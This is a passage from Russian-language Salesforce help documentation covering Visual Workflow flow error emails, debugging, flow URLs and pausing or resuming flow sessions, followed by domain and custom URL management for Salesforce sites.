пакета. Рекомендуем внимательно проверять версию потока, выбранную для загрузки.

• Потоки не могут быть добавлены в исправления пакета.
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Другие ограничения

• Если вы зарегистрируете свое пространство имен после того, как сделаете ссылку на поток на странице Visualforce
или в коде Apex, не забудьте добавить пространство имен к имени потока. Если этого не сделать, установка пакета
будет невозможна.

• Если кто-то установит поток из управляемого пакета, письма электронной почты с сообщениями об ошибках в
сеансахпотокане будут содержать сведенияоботдельных элементахпотока. Письмоотправляетсяпользователю,
который установил поток.

• Триггеры потока не подлежат пакетированию.

Конструкторпроцессов заменяет триггерыпотокакакдействиябизнес-правила, ранеедоступныетольковпробной
версии. Организации, использующиетриггерыпотокакакдействиябизнес-правила, могутпродолжитьихсоздание
и редактирование; триггеры потока как действия бизнес-правила недоступны новым организациям.

• Организация разработки не позволяет удалять поток или версию потока, загруженную в пакет со статусом
«Выпущенный» или «Управляемый — бета-версия».

СМ. ТАКЖЕ:

Рекомендации по установленным потокам

Создание пакета

Почему не удается выполнить сеанс потока?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы устранитьнеполадкинеудачного сеанса потока, воспользуйтесь сообщением эл.
почты об ошибке потока. При необходимости настройте временные элементы «Окно»
или «Отправка эл. почты» для определения проблемы.

Сообщения эл. почты об ошибках потока
Каждый раз при неудачном завершении сеанса потока администратор, создавший
поток, получает сообщение эл. почты. В этом письме содержится сообщение об
ошибке и подробные сведения обо всех элементах потока, которые выполнялись во
время сеанса.

Ограничения для сообщений эл. почты об ошибках потока (бета-версия)

Сообщения эл. почты об ошибках в сеансах потока отличаются некоторыми
ограничениями для элементов «Окно», «Поиск», «Создание» и «Подпоток», а также
некоторыми общими ограничениями.

Добавление временных элементов в поток
Добавление элементов «Окно» или «Отправка эл. почты» в поток позволяет проверять значения ресурсов в любой
момент времени. После решения проблемы временные элементы «Окно» подлежат удалению.

Устранение неполадок URL-адресов потока
При некорректной работе настраиваемой кнопки, настраиваемой ссылки или прямого URL-адреса во время
распространенияпотокапроверьте ссылочныйпоток. Кроме того, проверьте егопеременные (припередаче значений
в поток из URL-адреса).
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Сообщения эл. почты об ошибках потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждыйразпринеудачномзавершениисеансапотока администратор, создавшийпоток,
получает сообщение эл. почты. В этом письме содержится сообщение об ошибке и
подробные сведения обо всех элементах потока, которые выполнялись во время сеанса.

Прим.: Данный выпуск поддерживает полноценную бета-версиюфункции
отправки сообщений эл. почты об ошибках потока, однако имеющую некоторые
ограничения. Чтобы отправить свои отзывы и предложения о функции отправки
сообщений эл. почты об ошибках потока, воспользуйтесь веб-узлом IdeaExchange.

Вслучаенеудачноговыполнениянесколькихэлементоввпотокеадминистраторполучит
несколько сообщений эл. почты, а в последнем письме будут содержаться сообщения
об ошибках для всех случаев. Если в потоке используются коннекторы, вызывающие
сбой, такой поток может выполнить неудачно несколько элементов.

Пример:

An error occurred at element Apex_Plug_in_1.
List index out of bounds: 0.

An error occurred at element Fast_Delete_1.
DELETE --- There is nothing in Salesforce matching your delete criteria.

An error occurred at element Email_Alert_1.
Missing required input parameter: SObjectRowId.

СМ. ТАКЖЕ:

Ограничения для сообщений эл. почты об ошибках потока (бета-версия)

Настройка действий, выполняемых при неудачном выполнении потока

Почему не удается выполнить сеанс потока?

Ограничения для сообщений эл. почты об ошибках потока (бета-версия)

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сообщения эл. почты об ошибках в сеансах потока отличаются некоторыми
ограничениями для элементов «Окно», «Поиск», «Создание» и «Подпоток», а также
некоторыми общими ограничениями.

Прим.: Данный выпуск поддерживает бета-версию сообщений эл. почты об
ошибкахпотока, являющуюсяполноценной, ноимеющуюнекоторыеограничения.
Чтобыотправитьсвоиотзывыипредложениядлясообщенийэл. почтыобошибках
потока, воспользуйтесь веб-узлом IdeaExchange.

Общие

• При отсутствии личного имени пользователя, начавшего поток, null заменяет
личное имя пользователя в разделе «Как начат сеанс?».

• Назначения переменной отображаются посредством следующего шаблона:
{!переменная} (предыдущее значение) = поле/переменная (новое значение). Приотсутствиипредыдущего
значения переменной скобки отображаются пустыми. Например: {!varStatus} () = Status
(Delivered).
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• При установке потока из управляемого пакета сообщения эл. почты об ошибках для сеансов данного потока не
содержат сведения об отдельных элементах потока. Сообщение эл. почты отправляется пользователю,
установившему поток.

Элементы «Окно»
Значенияполейпароляотображаются в видеобычного текста (аналогичноссылкенаполепароля вполе «Отображать
текст»).

Элементы «Поиск»
Сообщение эл. почты отображает элементыпоиска как элементы запроса. Элемент «Поиск записи» отображается как
элемент «Запрос записи», а элемент «Быстрый поиск» отображается как элемент «Быстрый запрос».

Элементы «Создание»

• Еслипользовательненазначаеткодсозданнойзаписиконкретнойпеременной, тосообщениеэл. почтыотображает
строку ниже в разделе «Результат» элементов «Создание записи» и «Быстрое создание».

{!null} = null

Элементы «Подпоток»

• Переменные ссылочного потока не содержат примечание поля слияния ({!variable}, а не variable).
Например, при входе сеанса в подпоток и передаче сведений об элементах ввода переменной подпотока
соответствует subVariable  (вместо {!subVariable}).

• При возникновении ошибки в ссылочном потоке сообщение эл. почты отправляется автору основного потока,
но тема ссылается на имя ссылочного потока.

• Отображение нескольких сообщений «Открыт поток ReferencedFlowName версии
ReferencedFlowVersion» и отсутствие между ними сообщений «Закрыт поток ReferencedFlowName
версии ReferencedFlowVersion» указывают на возврат пользователя потока назад. Во избежание данного
сценария, настройте параметры навигации в первом окне ссылочного потока, препятствующие нажатию кнопки
«Назад».

СМ. ТАКЖЕ:

Сообщения эл. почты об ошибках потока

Почему не удается выполнить сеанс потока?
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Добавление временных элементов в поток

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Добавление элементов «Окно» или «Отправка эл. почты» в поток позволяет проверять
значения ресурсов в любой момент времени. После решения проблемы временные
элементы «Окно» подлежат удалению.

1. Создайтеодинтекстовыйшаблон, содержащийзначениявсехресурсовисообщение
об ошибке.

2. Воспользуйтесь текстовымшаблоном для настройки одного из указанных ниже
элементов в каждом пути ошибки.

• Элемент «Окно», использующий текстовыйшаблон в поле «Отображать текст».
(Только при условии, что тип потока поддерживает элементы «Окно».)

• Элемент «Отправка эл. почты», использующий текстовыйшаблон в качестве
текста, а собственный адрес эл. почты в качестве получателя.

• Элемент «Опубликовать в Chatter», использующий текстовыйшаблон в качестве
сообщения. Рекомендуется создать специальные группы Chatter для ошибок
потока.

3. Протестируйте поток.

Пример: См. пример текстового шаблона ниже для потока «Calculate Discounts on
Opportunities».

RESOURCE VALUES for “Calculate Discounts on Opportunities”
opptyID: {!opptyID}
AccountID: {!AccountID}
AccountRevenue: {!AccountRevenue}
Full_Discount outcome: {!Full_Discount}
Partial_Discount outcome: {!Partial_Discount}
Discount: {!Discount}

ERROR
{!$Flow.FaultMessage}

Добавьте временный элемент «Опубликовать в Chatter» после каждого элемента
потока. Каждый элемент «Опубликовать в Chatter» позволяет использовать:

• Текстовыйшаблон в качестве сообщения

• Группа Chatter по имени «Устранение неполадок потока» в качестве целевой
аудитории

Настройте коннекторы «Ошибка» элементов «Поиск записи» и «Обновление
записи», позволяющие направлять к элементам «Опубликовать в Chatter».
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Данный алгоритм позволяет потоку публиковать сообщения в группу Chatter после выполнения элементов «Поиск
записи», «Решение», «Назначение» и «Обновление записи». Каждое сообщение содержит подробные сведения о
значенияхкаждогоресурсавлюбойобластипотока. ПринеудачномвыполнениипотокасообщенияChatter содержат
ошибки.

После определения и исправления ошибок потока рекомендуем удалить временные элементы.

СМ. ТАКЖЕ:

Почему не удается выполнить сеанс потока?

5044

Visual WorkflowРасширение Salesforce посредством интерактивных
инструментов



Устранение неполадок URL-адресов потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При некорректной работе настраиваемой кнопки, настраиваемой ссылки или прямого
URL-адреса во время распространения потока проверьте ссылочный поток. Кроме того,
проверьте его переменные (при передаче значений в поток из URL-адреса).

Чтобы гарантировать нахождение URL-адресом правильного потока, убедитесь, что:

• поток, используемый URL-адресом, не был удален или деактивирован.

• имя потока введено без ошибок. Оно должно полностью (включая регистр)
соответствовать значению поля «Уникальное имя».

Если URL-адрес потока ссылается на конкретную версию потока, убедитесь, что данная
версия не была удалена или деактивирована.

При использовании URL-адреса для передачи значений в поток, но недоступности
переменной, параметр, ссылающийся на переменную, пропускается.

Чтобы гарантировать нахождение URL-адресомправильнойпеременнойпотока, убедитесь, что каждая соответствующая
переменная:

• введена без ошибок. Она должна полностью (включая регистр) соответствовать переменной.

• разрешает доступ для ввода. Полю переменной «Тип ввода/вывода» должно быть задано значение «Только ввод»
или «Ввод и вывод».

• не была переименована в потоке.

• не была удалена из потока.

• не является переменной sObject или переменной коллекции sObject.

Кроме того, убедитесь, что значение, которое должно быть передано в переменную, совместимо с типом данных
переменной и правильно отформатировано.

СМ. ТАКЖЕ:

Настройка алгоритма завершения потока посредством URL-адреса потока

Настройка переменных потока посредством URL-адреса потока

Почему не удается выполнить сеанс потока?

Сеансы потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сеанс потока — это выполняемый экземпляр потока. Поток — это приложение,
разработанное администратором, которое запрашивает пользовательские данные и
использует введенные данные для выполнения действий в системе Salesforce.

Например, поток может содержать сценарий вызова для службы поддержки и
использовать введенные данные для создания обращения. Действия, выполняемые
потоком над введенными данными, определяются администратором.

Привыполнениисеансапотока (посредствомссылки, кнопкииливкладки) выполняется
отдельный экземпляр потока. При недостаточном понимании терминологии
рекомендуем вспомнить различия между записью и объектом. Создаваемая запись
организации является отдельным экземпляром объекта «Организация», настроенного
администратором.
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Прим.: Ниже перечислены советы по выполнению потока.

• Запрещается использовать кнопки обозревателя «Вперед» и «Назад» для перемещения по потоку. Их
использование может повлиять на согласованность данных между потоком и системой Salesforce.

• Одному потоку может соответствовать не более 50 разных версий. При выполнении потока отображается
активная версия, но администратору может быть доступна более новая версия.

Приостановка сеанса потока
Сеансыпотока, настроенного администраторомсоответствующимобразом, могут бытьприостановлены. Например,
приостановкаможетиспользоватьсяприпреждевременномзавершениивызоваиливыполненииповторноговызова
ввиду незнания клиентом номера организации.

Возобновление сеанса потока
Приостановленный сеанс потока может быть возобновлен после получения всей необходимой информации.

Удаление сеанса потока
Сеанс потока, приостановленный пользователем, может быть удален. Удаление ненужных сеансов позволяет списку
отложенных сеансов отображать только сеансы, подлежащие обработке.

СМ. ТАКЖЕ:

Visual Workflow

Приостановка сеанса потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для приостановки сеанса
потока:
• «Выполнение потоков»

ИЛИ

поле «Пользователь
Force.com Flow»,
включенноена странице
сведений о пользователе

Сеансыпотока, настроенногоадминистраторомсоответствующимобразом, могутбыть
приостановлены. Например, приостановкаможетиспользоватьсяприпреждевременном
завершении вызова или выполнении повторного вызова ввиду незнания клиентом
номера организации.

1. Нажмите кнопку «Приостановить» в сеансе открытого потока.

2. Укажите причину приостановки потока.

Данное действие является дополнительным, но позволяет различать разные
приостановленные сеансы потока (особенно при наличии нескольких
приостановленных сеансов одного потока). Длина текста не может превышать
255 символов.

3. Нажмите кнопку «OK».

Данный алгоритм сохраняет сеанс потока до его последующего возобновления или
удаления. Любыедопустимыезначения, введенныепередприостановкойсеанса, подлежат
сохранению, поэтому не требуют повторного ввода при возобновлении сеанса.

СМ. ТАКЖЕ:

Сеансы потока

Возобновление сеанса потока
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Возобновление сеанса потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для возобновления сеанса
потока:
• «Выполнение потоков»

ИЛИ

поле «Пользователь
Force.com Flow»,
включенноена странице
сведений о пользователе

Приостановленный сеанс потока может быть возобновлен после получения всей
необходимой информации.

Прим.: Если приостановленный сеанс возобновляется после обновления
связанного потока, то возобновленный сеанс не использует обновленный поток.
Взамен, возобновленныйсеансиспользует версиюпотока, котораябыла активной
на момент приостановки.

1. Откройте область, содержащую список всех приостановленных сеансов потока.

В зависимости от конфигураций администратора, все приостановленные сеансы
потока могут отображаться посредством одной из областей ниже.

• «Приостановленные сеансы потока» на вкладке «Начальная страница» полной
версии системы Salesforce

• «Приостановленные сеансы потока» на левой панели навигации приложения
Salesforce1

Если не удается обнаружить область для возобновления приостановленного сеанса
потока, обратитесь к администратору.

2. Возобновите соответствующий сеанс потока.

При вводе значений перед приостановкой сеанса все допустимые значения
восстанавливаются после возобновления сеанса. Отсутствие значения, введенного
перед приостановкой сеанса, указывает на его недопустимость; данное значение не
сохраняется потоком.

Числовое поле, заполненное текстовым значением перед приостановкой сеанса
потока, отображается пустым после его возобновления.

Внимание: Возобновленный сеанс потока удаляется из списка «Приостановленные сеансы потока». Чтобы
приостановитьвозобновленныйсеанс, нажмите кнопку «Приостановить». Закрытиенеприостановленногосеанса
препятствует его последующему возобновлению.

СМ. ТАКЖЕ:

Сеансы потока

Приостановка сеанса потока

Удаление сеанса потока

5047

Visual WorkflowРасширение Salesforce посредством интерактивных
инструментов



Удаление сеанса потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для возобновления сеанса
потока:
• «Выполнение потоков»

ИЛИ

поле «Пользователь
Force.com Flow»,
включенноена странице
сведений о пользователе

Сеанспотока, приостановленныйпользователем, можетбытьудален. Удалениененужных
сеансов позволяет списку отложенных сеансов отображать только сеансы, подлежащие
обработке.

1. Откройте область, содержащую список всех приостановленных сеансов потока.

В зависимости от конфигураций администратора, все приостановленные сеансы
потока могут отображаться посредством одной из областей ниже.

• «Приостановленные сеансы потока» на вкладке «Начальная страница» полной
версии системы Salesforce

• «Приостановленные сеансы потока» на левой панели навигации приложения
Salesforce1

Если не удается обнаружить область для возобновления приостановленного сеанса
потока, обратитесь к администратору.

2. Удалите ненужный сеанс потока.

СМ. ТАКЖЕ:

Сеансы потока

Возобновление сеанса потока

Терминология Visual Workflow

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены термины, используемые приложением Visual Workflow в системе
Salesforce.

Облачная версия приложения Flow Designer
Облачное приложение, позволяющее администраторам создавать потоки для
использования в системе Salesforce.

Коннектор
Коннекторыопределяютдоступныепути, которыемогутиспользоватьсяпотокомпри
выполнении.

Элемент
Каждый элемент соответствует действию, которое может выполняться потоком.
Например, чтение или запись данных Salesforce, отображение и сбор данных от
пользователей потока, выполнение бизнес-логики или управление данными.

Поток
Поток — это приложение, которое может выполнять логику, взаимодействовать с базой данных Salesforce, вызывать
классы Apex исобиратьпользовательскиеданные. Принеобходимостисоздайтепотокипосредствомоблачнойверсии
приложения Flow Designer.

Сеанс потока
Сеанс потока — выполняемый экземпляр потока.
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Основной поток
Основнойпоток — это поток, содержащий элемент «Подпоток». Основнойпоток отличается от ссылочногопотока,
который вызывается элементом «Подпоток».

Ресурс
Каждый ресурс соответствует значению, которое может использоваться в любой области потока.

Подпоток
Элемент«Подпоток»ссылаетсянадругойпоток, вызываемыйпривыполнении. Поток, содержащийэлемент «Подпоток»,
называется основным.

СМ. ТАКЖЕ:

Облачная версия приложения Flow Designer

Visual Workflow
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Настройка параметров бизнес-правил и утверждений

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Утверждения доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-правила доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Приложение Visual
Workflow доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров бизнес-правил
и утверждений:
• «Настройка

приложения»

Чтобы использовать контролируемые по времени бизнес-правила, разрешите
пользователямобрабатывать запросынаутверждениепоэл. почтеилиприостанавливать
сеансы потоков и обновлять параметры бизнес-правил и утверждений.

Ниже перечислены действия, доступные на странице «Параметры бизнес-правил и
утверждений».

• Настройка параметра «Пользователь бизнес-правил по умолчанию» для
организации

• Предоставление пользователям возможности обработки запросов на утверждение
по эл. почте

• Отображение кнопки «Приостановить» в окнах потока
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Создание веб-сайтов

Управление доменами

Общие сведения об управлении доменами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления доменами:
• Доступ к Site.com,

Force.com Sites или
сообществам

Страница «Управление доменами» поддерживает универсальнуюнастройку доменов и
связанных сайтов.

Сайты и домены могут быть связаны посредством взаимосвязи «многие ко многим».
Каждый домен может размещать не более 50 сайтов, а каждый сайт может быть связан с
100 доменами.Например, один домен может размещать сообщества, сайты Force.com и
сайтыSite.com. Данныйпринциппозволяетсократитьколичествоиспользуемыхдоменов.
Чтобы упростить доступ к страницам Visualforce и коду Apex, рекомендуем размещать
сайты Site.com и Force.com на одном домене.

Кроме того, один сайт может быть связан с несколькими доменами. Например,
родительской компании принадлежат два товарных знака. Каждому товарному знаку
соответствует собственный зарегистрированный домен, каждый из которых должен
ссылаться на родительский веб-сайт. Сайт может быть связан с несколькими доменами,
поэтому оба домена могут ссылаться на один родительский веб-сайт.

Чтобы использовать домен для размещения нескольких сайтов, рекомендуем задать
настраиваемые URL-адреса для каждого сайта. Настраиваемые URL-адреса позволяют
различать сайты внутри домена. Например, организация использует домен
www.nashdomen.ru и два сайта sait1 и sait2. Чтобы разместить оба сайта на
домене nashdomen.ru, рекомендуем создать настраиваемые URL-адреса путем связывания
доменаскаждыйсайтомпосредствомнастраиваемогопути. Данноедействиеинициирует
создание двух настраиваемых URL-адресов: http://www.nashdomen.ru/sait1 и
http://www.nashdomen.ru/sait2. Еслиодиниз URL-адресовиспользуетсядлядоступа кдомену, тонастраиваемый
путь определяет сайт домена, который должен отображаться веб-пользователю.

СМ. ТАКЖЕ:

Добавление домена

Добавление настраиваемого URL-адреса

Управление доменами и настраиваемыми URL-адресами

Удаление домена

Удаление настраиваемых URL-адресов
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Добавление домена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра доменов:
• «Просмотр настройки и

конфигурации»

Для добавления доменов:
• «Настройка

приложения» или
«Просмотр настройки и
конфигурации» с
лицензией Site.com
Publisher или
полномочием «Создание
и настройка сообществ»

Для редактирования или
удаления доменов:
• «Настройка

приложения»

Для связывания
сертификатов с доменом:
• Если сообщества не

используются,
обратитесь в компанию
Salesforce.
Организации,
использующие
сообщества, могут
связывать сертификаты
с доменом.

Чтобы добавить домены и связать их с сертификатами, воспользуйтесь страницей
«Управление доменами» в меню «Настройка».

Добавляемый домен может быть связан с сертификатом и ключом, обеспечивающими
безопасность подключения. Прежде чем связать сертификат с доменом, убедитесь в его
наличии на странице «Управление сертификатами и ключами». Сертификат должен
быть подписанцентром сертификации, а его длина должна составлять 2 048 бит. Чтобы
поддерживать все домены, обслуживающие сайты организации, воспользуйтесь
специальным символом или сертификатом «Альтернативное имя темы».

Настраиваемыедоменыподдерживаются только экземпляраминебезопасныхсред. При
необходимости настройте домен в экземпляре безопасной среды и перенесите его в
экземпляр производственной среды. Обратите внимание, что настраиваемый домен
активен только в производственной среде.

Чтобы добавить домены в организацию, выполните указанные ниже действия.

1. Введите строку «Домены» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Домены».

2. Нажмите кнопку «Добавить домен».

3. Введите имя домена.

4. При наличии сертификата, подписываемого центром сертификации, который
поддерживает данный домен, добавьте соответствующий сертификат.

5. Нажмитекнопку «Сохранить». Чтобыдобавитьнесколькодоменов, нажмитекнопку
«Сохранить и создать».

Прежде чем разрешить записи CNAME имени домена указывать на новое имя цели,
убедитесь, чтоданноеимяподдерживается сервером DNS путемиспользования dig или
nslookup. Время создания имен доменов влияет на цель записи CNAME.

• Именадоменов, добавленныепередвыпуском Summer'13, обычноиспользуютзапись
CNAME, указывающую на полностью определенное имя домена, дополненное
компонентом .live.siteforce.com взаменсубдомена force.com организации.
Например, при добавлении домена www.primer.ru перед выпуском Summer'13
протокол HTTPS может использоваться только при наличии целевой записи CNAME,
указывающей на www.primer.ru.live.siteforce.com взамен
primer.force.com.

• Именадоменов, добавленныевовремяилипередвыпуском Summer'13, неиспользуют
18-значный код организации в целевой записи CNAME.

• Имена доменов, добавленные во времяилипосле выпуска Summer'13, уже указывают
на соответствующую область для настройки протокола HTTPS в настраиваемом
домене.

• Имена доменов, добавленные во время или после выпуска Winter'14, используют
запись CNAME, указывающуюнаполностьюопределенноеимядомена, дополненное
18-значным кодом организации и компонентом .live.siteforce.com. Например, при добавлении домена
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www.primer.ru, имя которого дополняется 18-значным кодом организации (00dxx0000001ggxeay), целевая
запись CNAME выглядитследующимобразом: www.primer.ru.00dxx0000001ggxeay.live.siteforce.com.

СМ. ТАКЖЕ:

Общие сведения об управлении доменами

Добавление настраиваемого URL-адреса

Управление доменами и настраиваемыми URL-адресами

Удаление домена

Удаление настраиваемых URL-адресов

Добавление настраиваемого URL-адреса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
настраиваемых URL-адресов:
• «Просмотр настройки и

конфигурации»

Для добавления,
редактирования и удаления
настраиваемых URL-адресов:
• «Настройка

приложения» или
«Просмотр настройки и
конфигурации» с
лицензией Site.com
Publisher или
полномочием «Создание
и настройка сообществ»

Созданиенастраиваемого URL-адресапозволяет выбирать взаимосвязимеждудоменами
и сайтами после добавления доменов на страницу «Управление доменами».
Настраиваемый URL-адрес состоит из домена и настраиваемого пути. Имя пути может
использоваться разными доменами, но не более одного раза каждым доменом. При
добавлениинастраиваемого URL-адресанастоятельнорекомендуемиспользоватьсимвол
«/», соответствующийкорневомупути. Дополнительныйпуть (после символа «/») может
быть пропущен, тогда как корневой путь (до символа «/») является обязательным.
Например, имя домена https://oursite.com и путь /products возвращают
следующий URL-адрес сайта: https://oursite.com/products. Если корневой
путь дополняется настраиваемым URL-адресом, то URL-адрес выглядит следующим
образом: https://oursite.com.

Чтобы задать предпочтительный настраиваемый URL-адрес для проверенных страниц
и сообщений эл. почты, ссылающийся на сайт или сообщество, выберите «Основной
настраиваемый URL-адрес сайта». Данное действие доступно только над корневым
путем для сайтов Force.com и сообществ, но недоступно для сайтов Site.com. При
отсутствии основного URL-адреса для сообществ Chatter первый настраиваемый
https-домен сайта используется для проверенных страниц и сообщений эл. почты.
При отсутствии настраиваемого https-домена используется домен Force.com
пользователя.

Чтобы добавить настраиваемый URL-адрес, выполните указанные ниже действия.

1. Введите строку «Настраиваемые URL-адреса» в поле «Быстрый поиск» в меню
«Настройка» ивыберитепункт «Настраиваемые URL-адреса». Либовведите строку
«Домены» в поле «Быстрый поиск», выберите пункт «Домены» ищелкните по
доменному имени.

2. Нажмите кнопку «Создать настраиваемый URL-адрес».

3. Введите имя домена.

4. Введите имя сайта.

5. Введите уникальный путь.

6. Нажмите кнопку «Сохранить». Чтобыдобавитьнескольконастраиваемых URL-адресов, нажмите кнопку «Сохранить
и создать».
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Пример: Несмотря на отображение имени домена и пути в разных столбцах таблицы «Настраиваемые URL-адреса»,
данные компоненты являются частьюфактического URL-адреса.

СМ. ТАКЖЕ:

Общие сведения об управлении доменами

Добавление домена

Управление доменами и настраиваемыми URL-адресами

Удаление домена

Удаление настраиваемых URL-адресов
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Управление доменами и настраиваемыми URL-адресами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра доменов:
• «Просмотр настройки и

конфигурации»

Для добавления доменов:
• «Настройка

приложения» или
«Просмотр настройки и
конфигурации» с
лицензией Site.com
Publisher или
полномочием «Создание
и настройка сообществ»

Для редактирования или
удаления доменов:
• «Настройка

приложения»

Для связывания
сертификатов с доменом:
• Если сообщества не

используются,
обратитесь в компанию
Salesforce.
Организации,
использующие
сообщества, могут
связывать сертификаты
с доменом.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
настраиваемых URL-адресов:
• «Просмотр настройки и

конфигурации»

Для добавления,
редактирования и удаления
настраиваемых URL-адресов:
• «Настройка

приложения» или
«Просмотр настройки и
конфигурации» с
лицензией Site.com
Publisher или
полномочием «Создание
и настройка сообществ»

Страница «Управление доменами» в меню «Настройка» позволяет управлять всеми
сертификатами, настраиваемыми URL-адресами и сайтами, связанными с доменом.

Пользователи могут добавлять новые настраиваемые URL-адреса в текущий домен,
переименовывать домен или удалять настраиваемые URL-адреса из отдельного домена.
Страница сведений о домене позволяет управлять доменами и URL-адресами. Верхний
разделсодержитсведенияодоменеисертификатах. Нижнийразделсодержитсвязанный
список «Настраиваемые URL-адреса» длядомена. Нижеперечисленыдействия, доступные
на данной странице.

• Редактированиеименидоменаисертификата: щелкните«Правка»вразделесведений
о домене.

• Удаление домена: щелкните «Удалить» в разделе сведений о домене.

• Добавлениеновыхнастраиваемых URL-адресов: щелкните«Создатьнастраиваемый
URL-адрес».

• Редактированиетекущихнастраиваемых URL-адресов: щелкните«Правка»напротив
нужного настраиваемого URL-адреса.

• Удаление настраиваемых URL-адресов: щелкните «Удал.» напротив нужного
настраиваемого URL-адреса.

• Просмотр статуса сайта: щелкните «Просмотр»напротив нужного настраиваемого
URL-адреса.

• Переход к сайту: щелкните имя нужного сайта под полем «Метка сайта».

• Переход к связанному сертификату: щелкните имя нужного сертификата напротив поля «Сертификат и ключ».

• Определение наличия поддержки внешнего HTTPS. Данное действие поддерживается только доменами, которые не
указывают на целевую запись CNAME (домен.18-значныйКодОрганизации.live.siteforce.com).

Прим.: Имя домена, используемое сообществом, не может быть изменено.

Чтобы открыть страницу сведений о домене, выполните указанные ниже действия.

1. Введите строку «Домены» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Домены».

2. Щелкните имя нужного домена в столбце «Имя домена».

Прим.: Заменапротокола http, назначенногодомену, протоколом https требуетповторнойпубликациисайтов
Site.com.

СМ. ТАКЖЕ:

Общие сведения об управлении доменами

Добавление настраиваемого URL-адреса

Удаление настраиваемых URL-адресов

Включение внешнего HTTPS для домена
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Удаление домена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления доменов:
• «Настройка

приложения»

Чтобы удалить домены из организации, воспользуйтесь страницей «Управление
доменами».

Домен, связанныйсопубликованнымсайтом, неможетбыть удален. Преждечемудалить
домен, рекомендуем отменить публикациювсех связанных сайтов. Прииспользовании
сайтов Force.com домен удаляется незамедлительно, а пользователи теряют доступ к
любому связанному сайту. Прииспользованиисайтов Site.com доменостается активным
до повторной публикации сайта.

Чтобы удалить домен из организации, выполните указанные ниже действия.

1. Введите строку «Домены» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Домены».

2. Щелкните ссылку «Удал.» напротив имени нужного домена.

3. Нажмите кнопку «OK».

Удаление домена со связанным неопубликованным сайтом инициирует удаление
настраиваемого URL-адреса, связанного с данным сайтом.

СМ. ТАКЖЕ:

Общие сведения об управлении доменами
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Удаление настраиваемых URL-адресов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
настраиваемых URL-адресов:
• «Просмотр настройки и

конфигурации»

Для добавления,
редактирования и удаления
настраиваемых URL-адресов:
• «Настройка

приложения» или
«Просмотр настройки и
конфигурации» с
лицензией Site.com
Publisher или
полномочием «Создание
и настройка сообществ»

Чтобы удалить настраиваемые URL-адреса из организации, воспользуйтесь страницей
«Управление доменами».

URL-адрес, связанный с опубликованным сайтом, не может быть удален. Прежде чем
удалитьнастраиваемый URL-адрес, рекомендуемотменитьпубликациюсвязанногосайта.
